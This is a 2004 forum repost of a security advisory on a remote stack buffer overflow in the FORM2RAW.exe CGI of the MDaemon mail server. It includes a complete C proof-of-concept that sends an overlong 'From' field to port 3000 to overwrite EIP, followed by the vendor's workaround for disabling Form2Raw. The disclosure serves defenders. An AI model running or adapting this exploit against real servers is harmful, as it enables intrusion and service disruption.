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Re:MD6.8.5重大漏洞
Title 1/1/2004 <br>
Remote Buffer Overflow in MDaemon (Raw Message Handler)<br>
<br><br>Summary <br>
"MDaemon offers a full range of mail server functionality. MDaemon protects your users from spam and viruses, provides full security, includes seamless web access to your email via WorldClient, remote administration, and much more!".<br>
FORM2RAW.exe is a CGI that allows users to send emails using the MDaemon via a web page. It processes the fields of an HTML form and creates a raw message file in the raw queue directory of MDaemon mail server. This file then will be processed and queued for delivery by MDaemon. An attacker can cause a buffer overflow in MDaemon by issuing a malformed CGI request to FORM2RAW.exe.<br>
<br><br>Details <br>
Vulnerable Systems:<br>* MDaemon 6.85 and prior to 6.52<br>
<br>
According to the Help file "By default, MDaemon 6.52 or higher will not send emails created by Form2Raw unless the email address passed in the 'from' tag (see below) is a valid account on the MDaemon server. If you want to disable this behavior you can set the FromCheck=No in FORM2RAW.INI file".<br>
<br>
Sending more than 153 bytes in the "From" field to FROM2Raw.exe creates a raw file that when processed by MDaemon will cause a Stack buffer overflow. The EIP register will be overwritten when the From field length is 249 bytes.<br>
<br>
The FORM2RAW.exe is accessible on any default installation of WorlClient Web server (usually listening on port 3000).<br>
<br>
Exploit:<br>
#include <windows.h><br>
#include <stdio.h><br>
#include <winsock.h><br>
#pragma comment (lib,"ws2_32")<br>
#define RET 0x1dff160<br>
#define PORT 3000<br>
void main(int argc, char **argv)<br>
{<br>SOCKET s = 0;<br>WSADATA wsaData;<br>
<br>if(argc < 2)<br>{<br>fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \<br>
"\nUsage: %s <target ip> \n", argv[0]);<br><br>printf("%d",argc);<br>exit(0);<br>}<br>
<br>WSAStartup(MAKEWORD(2,0), &wsaData);<br>
<br>s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br>
<br>if(INVALID_SOCKET != s)<br>{<br>SOCKADDR_IN anAddr;<br>anAddr.sin_family = AF_INET;<br>anAddr.sin_port = htons(PORT);<br>anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);<br><br>if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))<br>{<br>static char buffer[500];<br>int i;<br>memset(buffer,0,sizeof(buffer));<br>strcpy(buffer,"get /form2raw.cgi?From=");<br>for(i=0;i<244;i++) {<br>
<br>strcat(buffer,"a");<br>}<br><br>strcat(buffer,"bbbb"); //Overwrites EIP<br>strcat(buffer,"c"); //One byte left after ESP :-(<br>strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");<br><br>send(s, buffer, strlen(buffer), 0);<br>printf("Exploit Sent.");<br><br>}<br>
<br>else printf("Error Connecting to The Target.\n");<br>closesocket(s);<br>}<br>
<br>WSACleanup();<br>
}<br>
<br>
Vendor Response (Patch):<br>
<br>
Robin Edwards Wrote: We have had a similar vulnerability report with Form2Raw and hope to release a patch soon. In the meantime it is easy to disable Form2Raw by following the instructions below:<br>
<br>
To disable FORM2RAW open the <br>
\MDaemon\WorldClient\WorldClient.ini file with Notepad and <br>
delete the following two lines:<br>
<br>
CgiBase2=/Form2Raw.cgi<br>
CgiFile2=C:\MDaemon\CGI\Form2Raw.exe<br>
<br>
Afterward, restart WorldClient to register the change. <br>
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狗仔卡
发表于 2004-3-29 13:45:30
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发表于 2004-3-29 13:48:30
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